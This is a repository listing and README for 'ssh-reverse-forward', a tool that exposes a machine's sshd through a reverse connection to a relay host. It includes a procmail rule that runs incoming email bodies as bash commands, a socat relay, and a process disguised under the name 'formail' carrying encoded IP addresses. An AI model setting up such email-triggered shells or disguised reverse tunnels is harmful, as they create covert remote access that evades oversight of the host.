https://github.com/rnowotniak/ssh-reverse-forward
Forwarder of local sshd service via reverse connection
https://github.com/rnowotniak/ssh-reverse-forward
c forwarding reverse-shell ssh
Last synced: 13 days ago
JSON representation
Forwarder of local sshd service via reverse connection
- Host: GitHub
- URL: https://github.com/rnowotniak/ssh-reverse-forward
- Owner: rnowotniak
- Created: 2020-07-27T21:59:51.000Z (almost 6 years ago)
- Default Branch: master
- Last Pushed: 2021-02-07T22:30:35.000Z (over 5 years ago)
- Last Synced: 2026-06-05T08:33:20.827Z (13 days ago)
- Topics: c, forwarding, reverse-shell, ssh
- Language: C
- Homepage:
- Size: 6.84 KB
- Stars: 0
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# SSH Reverse Forward
## Configuration
```
$ cat .procmailrc
LOGFILE=$HOME/procmail.log
SHELL=/usr/local/bin/bash
VERBOSE=off
:0 b
* ^From.*(rob@XXXXXXXXXXXX.net|rnowotniak@YYYYYYYYYY.com)
* ^Subject:.*TestX
| bash 2>&1 | mail -s testOK rnowotniak@YYYYYYYYYYYY.com
:0c
! rnowotniak@YYYYYYYYYYY.com
```
## Usage
```
$ bin/formail
Usage: ./formail
or environment variable is needed
```
```
[rob@s34]:<~>$ socat tcp-listen:3690,reuseaddr,fork,nodelay tcp-listen:3691,reuseaddr,fork,nodelay
```
```
[rob@s34]:<~>$ echo formail -X:Message-Id MjEyLjE5MS44OS4yOjIy OTEuMTg1LjE4Ni40MzozNjkw | mail -s TestX rnowotniak@xxxxxx
```
```
ssh -D 8081 -p 3691 rnowotn@s34
Password for rnowotn@xxxxxx:
Last login: Sun Jan 24 23:17:20 2021 from .............
[rnowotn@xxxxx ~]$ _
```
```
[rnowotn@xxxxxxx ~]$ ps x
PID TT STAT TIME COMMAND
50069 - S 0:01,47 formail -X:Message-Id MjEyLjE5MS44OS4yOjIy OTEuMTg1LjE4Ni40
52718 - S 0:00,01 sshd: rnowotn@pts/1 (sshd)
32209 1 R+ 0:00,00 ps x
53207 1 Ss 0:00,01 -bash (bash)
```